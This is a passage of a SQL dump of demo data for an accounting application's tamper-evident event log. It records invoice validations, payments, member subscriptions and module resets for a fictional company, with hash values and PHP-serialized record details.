Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1500328800;s:10:\"ref_client\";s:0:\"\";s:4:\"type\";i:0;s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:12:\"revenuestamp\";N;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1707-0026\";s:11:\"note_public\";s:0:\"\";}',12,1,0,'2020-01-21 10:23:17','Alice Adminson',''),(50,'2020-01-21 09:23:17','PAYMENT_CUSTOMER_CREATE',50.00000000,'41e6e00dfd2b96c3d9056489f22241959407ad0282405d37ada32da919e2d744','625ed1ef1ab9edddabc0b1588542eb6eac30ac9224e75812dabcbdfa0211b918','payment',41,'PAY2001-0007','2020-01-21 00:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0007\";s:4:\"date\";i:1579561200;s:9:\"type_code\";s:3:\"CHQ\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";N;s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"50\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1500328800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1707-0026\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:50;}',12,1,0,'2020-01-21 10:23:17','Alice Adminson',''),(51,'2020-01-21 09:23:28','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'b24dfe36f8a3e5971898dd4fcfc61d775d4f0937169f44986bc9478d189e8e60','6160f4fb0fe73ce769a03f9d5460db7051602796090b9e44b51c6eadbd63c309','subscription',5,'','2018-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598608;s:5:\"dateh\";i:1531864800;s:5:\"datef\";i:1563314400;s:11:\"fk_adherent\";s:1:\"2\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:5;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2018\";}',12,1,0,'2020-01-21 10:23:28','Alice Adminson',''),(52,'2020-01-21 09:23:28','BILL_VALIDATE',50.00000000,'a6ba6c4518b94977daa8a65b6e9063e81b37563037455ee4608724674c53ea01','3724c09a72bbaab46bdde59c79ffd5d439ffb43f2a509c49ebe05aa9acdcda7a','facture',230,'FA1807-0027','2018-07-18 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1531864800;s:10:\"ref_client\";s:0:\"\";s:4:\"type\";i:0;s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:12:\"revenuestamp\";N;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1807-0027\";s:11:\"note_public\";s:0:\"\";}',12,1,0,'2020-01-21 10:23:28','Alice Adminson',''),(53,'2020-01-21 09:23:28','PAYMENT_CUSTOMER_CREATE',50.00000000,'54bbe038c35a0b1f63cccfbd89ce3232fc5dff8a56e7ff33bffebb9f412827bc','444449d4566c78f70a64b92d0008e9ddc933be75326cebdf5d41c4a94acdddc4','payment',42,'PAY2001-0008','2020-01-21 00:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0008\";s:4:\"date\";i:1579561200;s:9:\"type_code\";s:3:\"CHQ\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";N;s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"50\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1531864800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1807-0027\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:50;}',12,1,0,'2020-01-21 10:23:28','Alice Adminson',''),(54,'2020-01-21 09:23:49','MEMBER_SUBSCRIPTION_CREATE',50.00000000,'c4b9d402ebf74ae10353550d9ef1ce08c899b6533bdc5434fa105599da3e28ce','4642f26ec597360d7616ed0d925080970614232397fc17022922eecad2e727c9','subscription',6,'','2019-07-18 00:00:00','O:8:\"stdClass\":10:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:5:\"datec\";i:1579598629;s:5:\"dateh\";i:1563400800;s:5:\"datef\";i:1594936800;s:11:\"fk_adherent\";s:1:\"2\";s:6:\"amount\";s:2:\"50\";s:2:\"id\";i:6;s:10:\"import_key\";N;s:6:\"statut\";N;s:4:\"note\";s:17:\"Subscription 2019\";}',12,1,0,'2020-01-21 10:23:49','Alice Adminson',''),(55,'2020-01-21 09:23:49','BILL_VALIDATE',50.00000000,'3e7b2c3b0b26c1982a3f8205b48a68756d81cd5bb673e1d2c7c09ce12c2086b9','ca332254195c3a59ee8c2ed0c60aec16a4229e83f5138f69747e65136ad370fa','facture',231,'FA1907-0028','2019-07-18 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1563400800;s:10:\"ref_client\";s:0:\"\";s:4:\"type\";i:0;s:8:\"total_ht\";d:50;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:50;s:12:\"revenuestamp\";N;s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"50.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"50.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1907-0028\";s:11:\"note_public\";s:0:\"\";}',12,1,0,'2020-01-21 10:23:49','Alice Adminson',''),(56,'2020-01-21 09:23:49','PAYMENT_CUSTOMER_CREATE',50.00000000,'87cab3c0d2443145bb01b7364b78917756b2bf9b7908355b1a3258c28ecf1400','966571aa0fe244a6e762172fff34c03610ba4066f6f95369f514076c97975b6b','payment',43,'PAY2001-0009','2020-01-21 00:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY2001-0009\";s:4:\"date\";i:1579561200;s:9:\"type_code\";s:2:\"CB\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";N;s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:2:\"50\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"Dupont Alain\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:0:\"\";s:3:\"zip\";N;s:4:\"town\";N;s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";s:18:\"pcurie@example.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1601-0019\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:0:\"\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1563400800;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:11:\"50.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"50.00000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA1907-0028\";s:11:\"note_public\";N;}}}s:6:\"amount\";i:50;}',12,1,0,'2020-01-21 10:23:49','Alice Adminson',''),(57,'2020-01-21 09:33:28','MODULE_RESET',0.00000000,'0000000000','d8134616ec977d8204a6856269ccfc799ea7eccc80074ac62350a5cdee3b070b','module',1,'systemevent','2020-01-21 10:33:28','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1579599208;}',12,1,0,'2020-01-21 10:33:28','Alice Adminson',''),(58,'2020-12-10 12:31:17','MODULE_SET',0.00000000,'1f651fa26c45e58ae8303d336a35eddef44c398d225744ad49f803355cdadb43','dce54650a53002c6dc3dbffad2600c13ce08d19b5fa23811b8d2a31d75ac6a60','module',1,'systemevent','2020-12-10 13:31:17','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";s:1:\"1\";s:4:\"date\";i:1607603477;}',12,1,0,'2020-12-10 13:31:17','Alice Adminson',''),(59,'2022-02-07 14:32:49','MODULE_RESET',0.00000000,'0000000000','db6f3715c6f5a84d8f492e5cde34c3055d08ad8a0427229d66190c1de3700c1f','module',1,'systemevent','2022-02-07 14:32:49','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":16:{s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax2_assuj\";i:1;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:12:\"country_code\";s:2:\"IN\";}s:2:\"id\";i:1;s:7:\"element\";s:6:\"module\";s:3:\"ref\";s:11:\"systemevent\";s:6:\"entity\";i:1;s:4:\"date\";i:1644244369;}',12,1,0,'2022-02-07 14:32:49','Alice Adminson',''),(60,'2022-02-07 14:32:50','MODULE_SET',0.00000000,'3821e87f5e665f473ae8043688893856375f41c0d7c5190c209e45299f4cc4b9','85d0333c46688c956bfe71052640ea882bbef2ad767a6a6b1fcd97dbabdb0539','module',1,'systemevent','2022-02-07 14:32:50','O:8:\"stdClass\":6:{s:9:\"mycompany\";O:8:\"stdClass\":16:{s:4:\"name\";s:12:\"MyBigCompany\";s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax2_assuj\";i:1;s:8:\"managers\";s:10:\"Zack 